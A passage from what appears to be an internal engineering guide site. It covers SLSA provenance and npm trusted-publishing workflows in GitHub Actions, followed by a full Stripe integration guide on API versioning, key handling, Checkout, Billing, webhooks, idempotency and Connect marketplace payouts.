          node-version: "24"
          registry-url: "https://registry.npmjs.org"
          package-manager-cache: false   # never cache in release builds
      - run: npm install --global npm@11.21.1   # trusted publishing ≥ 11.5.1, staging ≥ 11.15.0
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
        with: { name: package, path: dist }
      - run: npm stage publish dist/*.tgz --access public   # or `npm publish` if direct publish is allowed

What each consumer gets:

Unverified: whether npm stage publish accepts a tarball path the same way npm publish does. The staged-publishing doc only shows running it from the package root. Test it once against a scratch package before you rely on it.


Recipe B1: GitHub Release tarball via the generic generator (Route 1)

Build the asset yourself, then hand its subjects (sha256 + name, base64-encoded) to the generic generator. The generator signs <name>.intoto.jsonl and attaches it to the Release.

jobs:
  build:
    runs-on: ubuntu-latest
    permissions: { contents: read }
    outputs:
      hashes: ${{ steps.hash.outputs.hashes }}
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with: { persist-credentials: false }
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with: { node-version: "24", package-manager-cache: false }
      - run: npm ci && npm run build && tar -czf dist.tar.gz dist/
      - id: hash
        run: echo "hashes=$(sha256sum dist.tar.gz | base64 -w0)" >> "$GITHUB_OUTPUT"

  provenance:
    needs: [build]
    permissions:
      actions: read     # detect the Actions environment
      id-token: write   # Sigstore signing
      contents: write   # upload provenance to the Release
    uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2.1.0
    with:
      base64-subjects: "${{ needs.build.outputs.hashes }}"
      upload-assets: true   # attach dist.tar.gz.intoto.jsonl to the Release

Recipe B2: Release tarball via a reusable workflow (Route 2)

Reuse reusable-build-attest.yml from A2, swapping the npm pack step for your tar/binary build. Then upload the asset with gh release upload. Consumers verify with gh attestation verify dist.tar.gz --owner <org> --signer-workflow ….


Recipe C: container images

docker/build-push-action (v4+) adds BuildKit provenance automatically: mode=max on public repos, mode=min on private ones. mode=max includes build-arg values, so never pass secrets as build args; use secret mounts. BuildKit provenance defaults to the SLSA v0.2 predicate; set version=v1 for SLSA v1. These attestations sit unsigned next to the image in the registry. They describe the build, but they don't prove who built it. For a signed, verifiable claim, add one of:

C1, container generator (Route 1): slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@v2.1.0 with image + digest inputs. Signs with cosign, verified with slsa-verifier verify-image.

C2, actions/attest with push-to-registry (Route 2 when run in a reusable workflow, L2 otherwise):

    permissions:
      contents: read
      packages: write          # push to GHCR
      id-token: write
      attestations: write
      artifact-metadata: write # storage record (org-owned repos)
    steps:
      - uses: docker/login-action@dbcb813823bdd20940b903addbd779551569679f # v4.6.0
        with: { registry: ghcr.io, username: "${{ github.actor }}", password: "${{ secrets.GITHUB_TOKEN }}" }
      - uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1
      - id: push
        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          push: true
          tags: ghcr.io/${{ github.repository }}:${{ github.ref_name }}
          provenance: mode=max,version=v1
          sbom: true
      - uses: actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6 # v4.2.2
        with:
          subject-name: ghcr.io/${{ github.repository }}   # NO tag; digest identifies the image
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true

Full file: supply-chain/examples/release-container-attest.yml. Use the image name in lowercase, and docker.io/... as the registry for Docker Hub.


Recipe D: GitHub artifact attestations in the build job (Build L2)

When L3 is more ceremony than the artifact warrants (internal tools, pre-1.0 experiments), one step gives you signed, verifiable provenance:

    permissions: { contents: read, id-token: write, attestations: write }
    steps:
      # …build dist.tar.gz…
      - uses: actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6 # v4.2.2
        with: { subject-path: dist.tar.gz }

actions/attest v4 has three modes: provenance (default), SBOM (sbom-path), and custom (predicate-type). It can also discover subjects from $GITHUB_ARTIFACTS_LIST. New code should use actions/attest; attest-build-provenance v4 is just a wrapper. This is Build L2: provenance is generated in the same job that runs your build, so the build steps can reach the signing identity.


npm publishing hardening (applies to every npm recipe)

Control What to do Version / date
Trusted publishing (OIDC) Configure a trusted publisher per package on npmjs.com (org/user, repo, workflow filename, optional environment). Up to 10 per package. Provenance is automatic for public repo + public package, so --provenance isn't needed npm CLI ≥ 11.5.1, Node ≥ 22.14.0
Allowed actions npm stage publish is always allowed. Direct npm publish and npm dist-tag are opt-in per configuration. Configs created after 2026-09-03 default to stage-only dist-tag via OIDC: npm ≥ 11.21.0 / ≥ 12.2.0
First publish within 2 days An unvalidated trusted-publisher config expires after 2 days. Delete it and recreate —
Disallow tokens Package → Settings → Publishing access → Require two-factor authentication and disallow tokens (trusted publishers keep working) —
Staged publishing npm stage publish puts the version in a staging area; a maintainer approves it with 2FA (npm stage approve <stage-id> or the website). New packages get a public 0.0.0-stage placeholder npm ≥ 11.15.0, Node ≥ 22.14.0
Token sunset Classic/legacy tokens are gone (Nov 2025). Bypass-2FA tokens lost account-governance actions in Aug 2026. Direct publishing with granular tokens ends January 2027; use stage-only tokens or OIDC npm access-token docs
No cache in release jobs package-manager-cache: false on actions/setup-node (Mini Shai-Hulud's entry point was a poisoned cache) setup-node v7
npm 12 install-script policy Dependency lifecycle scripts are blocked by default unless the root package.json allowScripts allows them. Review with npm install-scripts ls, approve with npm install-scripts approve <pkg> (writes pinned pkg@x.y.z entries), then npm rebuild. Commit allowScripts npm 12.0.0 (2026-07-08); needs Node ^22.22.2 || ^24.15.0 || >=26.0.0
Lockfile only npm 12 removed npm-shrinkwrap.json support and defaults allow-git / allow-remote to none npm 12.0.0

setup-node v7 no longer exports a dummy NODE_AUTH_TOKEN. Under v6, that placeholder could shadow OIDC detection, so trusted publishing works more cleanly on v7.


Verification (the half people skip)

Provenance nobody verifies buys nothing. Pick the verifier that matches the producer.

Artifact came from Verify with
npm registry (any provenance) npm audit signatures; add --json --include-attestations for the full Sigstore bundles. Run the latest npm, since the format evolves
GitHub artifact attestations (A2/B2/C2/D) gh attestation verify <file | oci://image> --owner <org> --signer-workflow <org>/<repo>/.github/workflows/build-attest.yml
slsa-github-generator release asset (B1) slsa-verifier verify-artifact
slsa-github-generator image (C1) slsa-verifier verify-image
Cosign-signed image / attestation cosign verify-attestation --type slsaprovenance1 --certificate-identity-regexp … --certificate-oidc-issuer https://token.actions.githubusercontent.com <image>
# GitHub attestation built by a reusable workflow: pin the SIGNER, not just the repo
gh attestation verify dist.tar.gz \
  --owner codeAmani-Solutions \
  --signer-workflow codeAmani-Solutions/<repo>/.github/workflows/build-attest.yml \
  --source-ref refs/tags/v1.2.3 \
  --deny-self-hosted-runners

# Image, reading the bundle from the registry instead of the GitHub API
gh attestation verify oci://ghcr.io/codeamani-solutions/<image>:v1.2.3 \
  --owner codeAmani-Solutions --bundle-from-oci

# Generator-built tarball
slsa-verifier verify-artifact dist.tar.gz \
  --provenance-path dist.tar.gz.intoto.jsonl \
  --source-uri github.com/codeAmani-Solutions/<repo> \
  --source-tag v1.2.3

gh attestation verify enforces the https://slsa.dev/provenance/v1 predicate by default. Per its manual, only signature.certificate and verifiedTimestamps are unforgeable by the producing workflow. statement.predicate is workflow-controlled, so base policy on the certificate (signer workflow, source ref) and not on predicate fields. With a reusable workflow, you must pass --signer-workflow or --signer-repo.

CI gate: for any dependency that publishes provenance, add a verify step in CI so an unverifiable build fails instead of quietly proceeding. supply-chain/examples/check-provenance.mts fails CI when an allowlisted package has no verified attestation.

Install slsa-verifier from a release binary, or with go install github.com/slsa-framework/slsa-verifier/v2/cli/slsa-verifier@v2.7.1. It's unmaintained. Use it for artifacts built by the generator, and prefer gh attestation verify for everything else.


What SLSA L3 does NOT do (know the boundary)

SLSA attests build integrity, not source benevolence. L3 provenance will faithfully sign an artifact built from malicious source or a compromised dependency. It proves the how and where, not that the code is safe. The Mini Shai-Hulud analysis adds two more gaps:

Provenance complements these and never replaces them: dependency review and lockfile pinning, secret scanning (gitleaks), code review, the SLSA Source track, npm 12 allowScripts, and staged publishing with human approval. It defeats substitution attacks (dependency confusion, tampered artifacts, impostor publishers). It doesn't defeat insider attacks or hijacked-pipeline attacks.


codeAmani notes

  1. Plan-time decision. Every new project's plan records a Provenance target using the rubric above. The default for anything that ships an artifact is Build L3.
  2. Template-scaffolded. The policy points new shippable projects at codeAmani-labs-projects/_TEMPLATE-PROJECT/.github/workflows/release-slsa3.yml. As of 2026-10-20 that file isn't on master; it only exists in WIP/backup commits (221ecc1, 17e414f), and that copy still pins setup-node@v4 and Route 1. NOTES.md has the change the template needs. Until then, copy from supply-chain/examples/.
  3. Always-loaded policy. The summary rubric lives in the root CLAUDE.md (## Supply-Chain & Provenance (SLSA)), so every Claude Code session inherits it. This refresh didn't change that text; the route decision is in NOTES.md.
  4. Private repos. Most codeAmani repos are private and on a non-Enterprise plan. That means no npm provenance and no GitHub attestations from them. A private repo that ships an artifact either goes public at release time, uses Route 1 (accepting the public Rekor entry and the Jan 2027 npm-token cliff), or moves to Enterprise Cloud. Settle this at plan time.
  5. Secrets. The only secret any recipe needs is NPM_TOKEN (A1 only; A2 needs none). Keep it in the Hazina vault / repo secrets, never in a workflow file or chat. Container recipes use the built-in GITHUB_TOKEN.
  6. No payments or AI surface. This guide doesn't touch Stripe/M-Pesa or AI routing. For Kenya-targeted releases, the same rules apply.
  7. Freshness-tracked. The docs: URLs above are watched by the tech-stack checker. Re-check the generator's status and npm's January 2027 token change at the next review.

References

Official docs:

Stripe Integration Guide

Technology: stripe · Category: payments · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/stripe

Insight:

Stripe is codeAmani's default payment rail. The US-first customer base pays by card and wallet, and Checkout Sessions is Stripe's recommended API for almost everything, including custom forms (Elements with Checkout Sessions). M-Pesa (Daraja) is a separate rail used only for Kenya-targeted projects. Pin apiVersion: "2026-09-30.endive" (stripe@23), never send payment_method_types (Endive returns 400), verify every webhook signature, and pass an idempotency key on every state-changing create call.

███████╗████████╗██████╗ ██╗██████╗ ███████╗
██╔════╝╚══██╔══╝██╔══██╗██║██╔══██╗██╔════╝
███████╗   ██║   ██████╔╝██║██████╔╝█████╗
╚════██║   ██║   ██╔══██╗██║██╔═══╝ ██╔══╝
███████║   ██║   ██║  ██║██║██║     ███████╗
╚══════╝   ╚═╝   ╚═╝  ╚═╝╚═╝╚═╝     ╚══════╝

Stripe Integration Guide

Focus: Checkout, Billing, Tax, Connect and webhooks. Stripe is codeAmani's default payment rail for its US-first customer base.

Overview

Stripe handles card, wallet, bank and stablecoin payments: one-time charges, subscriptions and usage-based billing, invoicing, sales tax, and marketplace payouts through Connect. Per CLAUDE.md, Stripe is the default payment rail for every codeAmani project. M-Pesa via the Daraja API is a separate rail used only when a project's primary users are in Kenya (see MPESA_PATTERNS.md). The two are per-project alternatives, not a primary/secondary pair.

The payment lifecycle is a predictable loop. The webhook, not the browser redirect, is what fulfils:

flowchart LR
  A["Your server<br/>creates Checkout Session"] --> B["Customer pays<br/>hosted page or Elements"]
  B --> C["Stripe sends<br/>signed event"]
  C --> D["Your server<br/>verifies signature"]
  D --> E["Dedupe event id<br/>then fulfil once"]

What changed in this review (2026-10-20)

Area Was (2026-08-23) Now
API version 2026-07-29.dahlia 2026-09-30.endive (new breaking release)
stripe (node) 22.5.0 23.0.0 (Node ≥ 20)
@stripe/stripe-js / @stripe/react-stripe-js 9.14.0 / 6.8.2 10.1.0 / 7.0.0 (React 19 required)
@stripe/cli 1.50.4 1.54.1
payment_method_types "never pass it" (a rule) Removed from the API: 400 on Checkout Sessions, PaymentIntents, SetupIntents. Use allowed_payment_method_types
Custom payment form PaymentIntent + Payment Element Elements with Checkout Sessions (ui_mode: "elements") is Stripe's recommendation
Webhooks Snapshot events only Thin events recommended for new integrations; GA for v1 resources; EventNotificationHandler
constructEvent tolerance 0 Used default tolerance Disables the timestamp check
MCP auth OAuth or any restricted key OAuth, or an agent-tagged restricted key. Full sk_ and untagged rk_ keys stop working on the MCP after 2026-11-30
Payment Request Button Supported Removed in Endive; use Express Checkout Element
Usage-based billing Meters API Metronome is Stripe's recommendation for new builds; Meters still supported

API versioning — pin it explicitly

Stripe uses a flora-named release model: YYYY-MM-DD.codename. A new codename means breaking changes; monthly releases inside a codename are additive only.

Release First version Latest monthly (2026-10-20)
Basil 2025-03-31.basil 2025-08-27.basil
Clover 2025-09-30.clover 2026-02-25.clover
Dahlia 2026-03-25.dahlia 2026-08-26.dahlia
Endive (current) 2026-09-30.endive 2026-09-30.endive

stripe-node 23.0.0 ships ApiVersion = '2026-09-30.endive' (src/apiVersion.ts on master). Always pin the version in code. If you inherit the account default, a Dashboard upgrade silently changes the shapes your code parses.

// lib/stripe.ts
import Stripe from "stripe";

export const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!, {
  apiVersion: "2026-09-30.endive",
});

A version string must include the codename. "2026-09-30" on its own is not a valid Stripe API version. Preview features (Shared Payment Tokens, some Accounts v2 fields) use 2026-09-30.preview per request, not as your pinned default.

Endive breaking changes that affect our code

Full list: reference/endive-migration-cheatsheet.md and https://docs.stripe.com/changelog/endive.

Change What to do
payment_method_types removed from Checkout Session create, PaymentIntent create/update/confirm, SetupIntent create/update (400 payment_method_types_no_longer_supported) Delete it. Use Dashboard dynamic payment methods, or allowed_payment_method_types (incompatible types are silently filtered) / excluded_payment_method_types
Terminal's payment_method_types: ['card_present'] Use allowed_payment_method_types: ['card_present']
Elements paymentMethodTypes option throws Use allowedPaymentMethodTypes
Payment Request Button throws (elements.create('paymentRequestButton')) Migrate to the Express Checkout Element
billing_cycle_anchor on subscription update/resume is now an object { type: "now" } / { type: "unchanged" }
v2 Account Links lose use_case.account_onboarding.configurations Remove it
Accounts v2 capabilities gain a rejected status; requirement errors now include eventually-due items Handle rejected as terminal; don't treat every error as blocking

Earlier breaking changes still worth knowing

Change Release What to do
latest_invoice.payment_intent replaced by latest_invoice.confirmation_secret Basil+ Expand latest_invoice.confirmation_secret for incomplete subscriptions
Checkout creates the subscription only after payment Basil Don't assume it exists before checkout.session.completed
Flexible billing mode is the default for new subscriptions Clover Set billing_mode: { type: "flexible" } explicitly (required for pause)
Legacy Stripe.js methods removed (handleCardPayment, confirmPaymentIntent, handleCardSetup, createSource…) Dahlia Use checkout.confirm() (Checkout Sessions) or stripe.confirmPayment() (PaymentIntents)
initCheckout → initCheckoutElementsSdk Dahlia Rename

stripe-node 23.0.0 SDK changes


Choosing the integration

Stripe's own guidance (docs.stripe.com/payments/online-payments): use the Checkout Sessions API for most integrations. PaymentIntents is a lower-level API where you rebuild tax, discounts, shipping, subscriptions and currency conversion yourself. Some features (Adaptive Pricing) only exist on Checkout Sessions.

Building… Use ui_mode
One-time payment, fastest path Checkout Sessions, full page (recommended) hosted_page (default) or embedded_page
Payment form embedded in our page Checkout Sessions, embedded form form
Fully custom UI (our CSS, our layout) Elements with Checkout Sessions + Payment Element elements
Subscriptions Checkout Sessions mode: "subscription" + Customer Portal any
Save a card for later Checkout mode: "setup" or SetupIntents —
Own every part of checkout (rare) PaymentIntents + Payment Element —
No website / one-off sales Payment Links —
Marketplace (Vertiq) Connect, Accounts v2, direct charges —
Usage-based billing, new build Metronome (Stripe's recommendation) or Billing Meters —
Sales tax Stripe Tax (automatic_tax) after a registration exists —
Accept USDC from customers Turn on stablecoin payments in the Dashboard —
Selling to / paying from AI agents Agentic commerce: Shared Payment Tokens, Link Agent Wallet —
Checkout Sessions Payment Intents
Built-in Stripe Tax, discounts, shipping, subscriptions, Adaptive Pricing, address collection, receipts All of that is yours to build
Hosted page, embedded form, or Elements Elements only
Expires after 24 h by default (30 min–24 h via expires_at) No automatic expiry
Webhooks for the whole checkout lifecycle Payment status events only

Environments — sandboxes vs live

Payments made in a sandbox are never processed by card networks. Stripe now recommends general sandboxes for new integrations, with separate sandboxes for local development and CI, over the legacy "test mode" sandbox.

flowchart TB
  subgraph SB["Sandbox · no real money"]
    S1["sk_test_ / rk_test_ / pk_test_"]
    S2["Test cards 4242…"]
    S3["stripe listen → whsec_ (sandbox)"]
  end
  subgraph LV["Live · real money"]
    L1["rk_live_ / pk_live_"]
    L2["Real cards"]
    L3["Event destination → whsec_ (live)"]
  end
  SB -.->|"promote after testing"| LV
# Coding agents: provision an anonymous sandbox with working keys
npm i -g @stripe/cli
stripe sandbox create --help

Sandbox limitations that matter to us:

Limitation Impact
Can't test IC+ pricing Cost models must use published rates
Can't connect a platform sandbox to connected-account sandboxes Vertiq's Connect flow can't be tested sandbox-to-sandbox end to end. Plan a live pilot with a cooperating first seller

Test clocks (Billing "Simulations")

Use test clocks to move subscriptions through time: renewals, trial ends, failed renewals, plan changes mid-cycle. Create a clock (POST /v1/test_helpers/test_clocks with frozen_time), attach a customer with test_clock, then advance with /advance. You can advance up to two billing intervals at a time (two months for a monthly price). customers.list hides clock-attached customers unless you pass test_clock. Listen for test_helpers.test_clock.ready before asserting. Keep CI clocks in the CI sandbox.

Going live

  1. Swap sandbox keys for live keys (via Hazina live references).
  2. Create the production event destination in Workbench → Webhooks and use its whsec_.... The stripe listen secret is sandbox-only.
  3. Re-check apiVersion is pinned.
  4. Run one real low-value transaction and refund it.
  5. Walk https://docs.stripe.com/get-started/checklist/go-live.

Keys

Keys are environment-scoped. A sandbox key can never touch live objects (the usual cause of No such payment_intent).

Key Prefix Where it lives Notes
Publishable pk_test_ / pk_live_ Browser (safe) Identifies the account to Stripe.js
Restricted (RAK) rk_test_ / rk_live_ Server / CI Stripe now recommends RAKs instead of secret keys for new use cases
Restricted, agent-tagged rk_... with Agent badge Agents, MCP Subject to approval rules (payouts, refunds, config changes need a reviewer)
Secret sk_test_ / sk_live_ Server only Unrestricted. Stripe "doesn't recommend" for new use cases
Organization sk_org_... Server Multi-account orgs
Webhook signing secret whsec_ Server only Per destination; not an API key

Rules we follow:


Secrets management with Hazina

codeAmani stores Stripe credentials in Hazina, the local encrypted vault (packages/hazina), not in loose .env files. The agent workflow is zero-exposure: Claude handles references and env-var names only, never values.

Catalog the secrets once (the user runs these; values go into a hidden prompt):

hazina add stripe/secret_key       --type apikey   # rk_ preferred
hazina add stripe/publishable_key  --type apikey
hazina add stripe/webhook_secret   --type apikey
hazina add stripe/agent_key        --type apikey   # agent-tagged rk_ for MCP

Bind a project's env vars to those references, then inject:

hazina bind <project> --path <projectDir> \
  --add STRIPE_SECRET_KEY=stripe/secret_key \
  --add NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=stripe/publishable_key \
  --add STRIPE_WEBHOOK_SECRET=stripe/webhook_secret

hazina inject <project>          # writes gitignored .env.local; reports key NAMES only
hazina push <project> --provider vercel --target production

SDK setup

npm install stripe@23                                         # server — 23.0.0, Node >= 20
npm install @stripe/stripe-js@10 @stripe/react-stripe-js@7    # client — 10.1.0 / 7.0.0 (React 19)

Load Stripe.js from js.stripe.com (the npm loadStripe loader does this). Don't bundle or self-host it; that breaks PCI scope. Stripe.js is versioned per release: https://js.stripe.com/endive/stripe.js.


Core patterns

1. Hosted Checkout (default)

Full file: examples/checkout-session.ts.

// app/api/checkout/route.ts
const session = await stripe.checkout.sessions.create(
  {
    mode: "payment",
    line_items: [{ price: priceId, quantity: 1 }],   // or price_data, amounts in cents
    success_url: `${process.env.APP_URL}/success?session_id={CHECKOUT_SESSION_ID}`,
    cancel_url: `${process.env.APP_URL}/pricing`,
    metadata: { userId, orderId },
    integration_identifier: "codeamani_hosted_0001",
    // NO payment_method_types — removed in Endive (400)
  },
  { idempotencyKey: `checkout_${orderId}` },
);
return Response.json({ url: session.url });

2. Custom form: Elements with Checkout Sessions

Stripe's recommended custom UI. The server returns the session's client_secret; the client initialises Checkout with it and confirms with checkout.confirm() (not stripe.confirmPayment). Full files: examples/checkout-elements-session.ts and examples/CheckoutElementsForm.tsx.

// server
const session = await stripe.checkout.sessions.create({
  ui_mode: "elements",
  mode: "payment",
  line_items: [{ price_data: { currency: "usd", unit_amount: 2000,
    product_data: { name: "codeAmani Pro" } }, quantity: 1 }],
  return_url: `${process.env.APP_URL}/return?session_id={CHECKOUT_SESSION_ID}`,
});
return Response.json({ client_secret: session.client_secret });
// client — note the /checkout entry point
import { CheckoutElementsProvider, PaymentElement, useCheckoutElements }
  from "@stripe/react-stripe-js/checkout";

const state = useCheckoutElements();          // { type: "loading" | "error" | "success" }
if (state.type === "success") {
  await state.checkout.confirm();             // disable Pay while !state.checkout.canConfirm
}
// <CheckoutElementsProvider stripe={stripePromise} options={{ clientSecret }}>

Without React: stripe.initCheckoutElementsSdk({ clientSecret }), then checkout.createPaymentElement().mount("#payment-element") and (await checkout.loadActions()).actions.confirm().

3. PaymentIntent (only when you must own checkout)

const paymentIntent = await stripe.paymentIntents.create(
  {
    amount: 2000,               // smallest currency unit
    currency: "usd",
    metadata: { userId, orderId },
    // dynamic payment methods are on by default; to restrict:
    // allowed_payment_method_types: ["card"],
  },
  { idempotencyKey: `pi_${orderId}` },
);
return Response.json({ clientSecret: paymentIntent.client_secret });

The client uses <Elements stripe={stripePromise} options={{ clientSecret }}> from @stripe/react-stripe-js and stripe.confirmPayment({ elements, confirmParams: { return_url } }). Don't mix this with the /checkout entry point.


Billing

Full file: examples/billing-subscription.ts.

Subscriptions

Prefer Checkout in mode: "subscription". Set billing_mode explicitly.

const session = await stripe.checkout.sessions.create({
  mode: "subscription",
  customer: customerId,
  line_items: [{ price: priceId, quantity: 1 }],
  automatic_tax: { enabled: true },             // only with an active registration
  customer_update: { address: "auto" },
  subscription_data: { billing_mode: { type: "flexible" } },
  success_url: `${process.env.APP_URL}/dashboard?session_id={CHECKOUT_SESSION_ID}`,
  cancel_url: `${process.env.APP_URL}/pricing`,
});

If you build the subscription directly (Elements + Subscriptions API), create it with payment_behavior: "default_incomplete" and expand latest_invoice.confirmation_secret. latest_invoice.payment_intent no longer exists.

New in Endive: pause and resume on demand (stripe.subscriptions.pause(id), flexible billing mode only; stops invoice generation; status paused, events customer.subscription.paused / .resumed). Trial offers are GA. Subscriptions can auto-pause after payment failures.

Customer Portal

Let customers change plans, update cards, view invoices and cancel without us building UI. Configure it in the Dashboard, then:

const portal = await stripe.billingPortal.sessions.create({
  customer: customerId,
  return_url: `${process.env.APP_URL}/account/billing`,
});
// redirect to portal.url

Usage-based billing

await stripe.billing.meterEvents.create({
  event_name: "api_requests",
  payload: { stripe_customer_id: customerId, value: "1" },
  identifier: requestId,    // idempotent on Stripe's side
});
// > 1,000 events/s live: use v2 meter event streams

For codeAmani AI products: Meters is fine for simple per-request pricing that goes through Checkout. Pick Metronome when we need prepaid AI credits or token pass-through.

Stripe Tax


Webhooks and event destinations

Webhooks are the only trustworthy fulfilment signal. Stripe now models delivery as event destinations: webhook endpoints, Amazon EventBridge, or Azure Event Grid. You create them in Workbench → Webhooks or with the v2 Event Destinations API. Max 16 destinations per live or sandbox account.

Thin vs snapshot

Snapshot (classic) Thin (recommended for new)
Payload Full Event + object snapshot Type + related_object id only
Versioning Pinned to an API version Unversioned; upgrades don't touch the destination
SDK typing Untyped event.data.object per type Fully typed EventNotification classes
Names checkout.session.completed v1.checkout.session.completed
Get data event.data.object (may be stale) await n.fetchRelatedObject() (latest) / n.fetchEvent()

Thin events for v1 resources went GA in 2026-09-30.endive. A thin destination is a separate endpoint with its own secret. Use snapshot only when a third-party tool needs the full payload, or you need previous_attributes without a fetch.

sequenceDiagram
  participant ST as "Stripe"
  participant S as "Your route"
  participant DB as "Database"
  ST->>S: POST thin notification (signed)
  S->>S: handler.handle(rawBody, signature)
  S->>DB: preHandle — insert event id if new
  S->>ST: fetchRelatedObject()
  ST-->>S: latest Checkout Session
  S->>DB: fulfil once
  S-->>ST: 2xx

Thin event handler (stripe-node 23)

Full file: examples/thin-events-webhook.ts.

const handler = stripe.notificationHandler(
  process.env.STRIPE_THIN_WEBHOOK_SECRET!,
  async (unhandled) => { /* log unknown types */ },
);
handler.preHandle(async (n) => markProcessedIfNew(n.id));   // false = skip (dedupe)
handler.on("v1.checkout.session.completed", async (n) => {
  const session = await n.fetchRelatedObject();
  if (session.payment_status === "paid") await fulfil(session.metadata?.orderId);
});

export async function POST(req: Request) {
  const sig = req.headers.get("stripe-signature");
  if (!sig) return new Response("Missing signature", { status: 400 });
  try { await handler.handle(await req.text(), sig); }
  catch { return new Response("Invalid", { status: 400 }); }
  return new Response("OK");
}

One-off parse without the class: stripe.parseEventNotification(body, sig, secret). For EventBridge/Event Grid deliveries (no signature header) use stripe.notificationHandlerWithoutVerification(...).

Snapshot handler (existing integrations)

Full file: examples/webhook.ts.

// app/api/webhooks/stripe/route.ts
export const runtime = "nodejs";               // Node crypto; not Edge

export async function POST(req: NextRequest) {
  const body = await req.text();               // RAW body — never req.json()
  const signature = req.headers.get("stripe-signature");
  if (!signature) return new Response("Missing signature", { status: 400 });

  let event: Stripe.Event;
  try {
    event = stripe.webhooks.constructEvent(body, signature, process.env.STRIPE_WEBHOOK_SECRET!);
    // never pass tolerance 0 — in stripe@23 that DISABLES replay protection
  } catch {
    return new Response("Webhook signature verification failed", { status: 400 });
  }
  if (await alreadyProcessed(event.id)) return new Response("OK");

  switch (event.type) {
    case "checkout.session.completed":
      if (event.data.object.payment_status === "paid") { /* fulfil */ }
      break;
    case "checkout.session.async_payment_succeeded": /* delayed methods */ break;
    case "customer.subscription.deleted":
    case "customer.subscription.paused": /* revoke access */ break;
    case "invoice.payment_failed": /* notify */ break;
  }
  return new Response("OK");
}

Delivery facts: live retries for up to 3 days with exponential backoff (sandbox: 3 tries over a few hours); manual resend from the Dashboard for 15 days; Express must register express.json() after the webhook route. Return 2xx fast and queue slow work.

Events to handle at minimum: checkout.session.completed, checkout.session.async_payment_succeeded / _failed, customer.subscription.created / .updated / .deleted / .paused / .resumed, invoice.paid, invoice.payment_failed. Connect adds account.updated (or the v2 thin v2.core.account... events).


Idempotency & reconciliation

Pass an idempotency key on every state-changing create call, and dedupe webhook events on their id. Stripe stores the first result under the key, so a retry returns the original object instead of charging twice. Generate one stable key per logical operation (order, cart), not per HTTP attempt.

const session = await stripe.checkout.sessions.create(params, {
  idempotencyKey: `checkout_${orderId}`,   // RequestOptions — last argument
});
flowchart TD
  A["Create with<br/>idempotencyKey"] --> B{"Key seen<br/>before"}
  B -->|"yes"| C["Original object<br/>no new charge"]
  B -->|"no"| D["New object"]
  D --> E["Event arrives"]
  C --> E
  E --> F{"event id<br/>already processed"}
  F -->|"yes"| G["Skip"]
  F -->|"no"| H["Record id<br/>then fulfil once"]

Keys expire after 24 hours: they protect against retries, not a deliberate re-charge the next day. Meter events use their own identifier for the same job.


Connect — marketplaces (Vertiq.market)

Vertiq is a multi-party marketplace: independent sellers list digital goods, buyers pay, Vertiq takes a commission. The requirement: sellers receive the payments and are responsible for them; Vertiq is not the party handling the money. That maps to Connect direct charges onto seller-owned accounts created with Accounts v2.

flowchart LR
  B["Buyer"] -->|"pays"| SA["Seller account<br/>(merchant of record)"]
  SA -->|"application_fee_amount"| V["Vertiq platform<br/>(commission only)"]
  SA -->|"payout"| SB["Seller bank"]
  SA -.->|"refunds · chargebacks<br/>debit THIS balance"| SA
Property Direct charges (Vertiq) Destination charges (rejected)
Funds land in Seller balance Platform balance
Merchant of record Seller Platform
Refunds / chargebacks debit Seller Platform
Platform revenue application_fee_amount Amount retained

1. Create the seller (Accounts v2)

Accounts v2 uses configurations: merchant (accept payments; holds card_payments and stripe_balance.payouts), customer (charge the account like a Customer), recipient (receive transfers). v2 responses return null for fields you don't include. Full file: examples/connect-onboard-seller.ts.

const account = await stripe.v2.core.accounts.create({
  contact_email: sellerEmail,
  display_name: sellerName,
  dashboard: "full",                                 // seller self-serves refunds/disputes
  identity: { country: "us" },
  configuration: { merchant: { capabilities: { card_payments: { requested: true } } } },
  defaults: {
    currency: "usd",
    responsibilities: {
      losses_collector: "stripe",                    // Stripe, not Vertiq, bears seller losses
      fees_collector: "stripe",                      // seller pays Stripe fees directly
    },
  },
  include: ["configuration.merchant", "requirements"],
});

defaults.responsibilities can't be changed after creation, and the country is fixed. Get the first seller right.

2. Onboard (Stripe-hosted, Stripe runs KYC)

const link = await stripe.v2.core.accountLinks.create({
  account: account.id,
  use_case: {
    type: "account_onboarding",
    account_onboarding: {                            // no `configurations` since Endive
      refresh_url: `${process.env.APP_URL}/sellers/onboarding/refresh`,
      return_url: `${process.env.APP_URL}/sellers/onboarding/complete`,
    },
  },
});

v1 stripe.accountLinks.create({ account, type: "account_onboarding", ... }) also accepts a v2 account id (Stripe's hosted-onboarding page still shows the v1 call).

Gate listings on the capability:

const acct = await stripe.v2.core.accounts.retrieve(sellerAccountId, {
  include: ["configuration.merchant"],
});
const canSell = acct.configuration?.merchant?.capabilities?.card_payments?.status === "active";
// Endive adds "rejected" — show it, don't retry forever

3. Direct charge with commission

The seller's account id goes in the request options. Full file: examples/connect-direct-charge.ts.

const session = await stripe.checkout.sessions.create(
  {
    mode: "payment",
    line_items: [{ price: listing.stripePriceId, quantity: 1 }],
    payment_intent_data: { application_fee_amount: Math.round(listing.amount * 1000 / 10_000) },
    success_url: `${process.env.APP_URL}/orders/{CHECKOUT_SESSION_ID}`,
    cancel_url: `${process.env.APP_URL}/listings/${listing.id}`,
  },
  { stripeAccount: seller.stripeAccountId, idempotencyKey: `order_${orderId}` },
);

4. Connect events

Create an event destination scoped to Connected accounts to receive direct-charge events (they carry event.account / the context). For Accounts v2 lifecycle changes, also add a destination for Your account with thin v2.core.account... events. Locally: stripe listen --forward-connect-to … or --forward-thin-connect-to … --thin-events "*".

What Vertiq is still responsible for

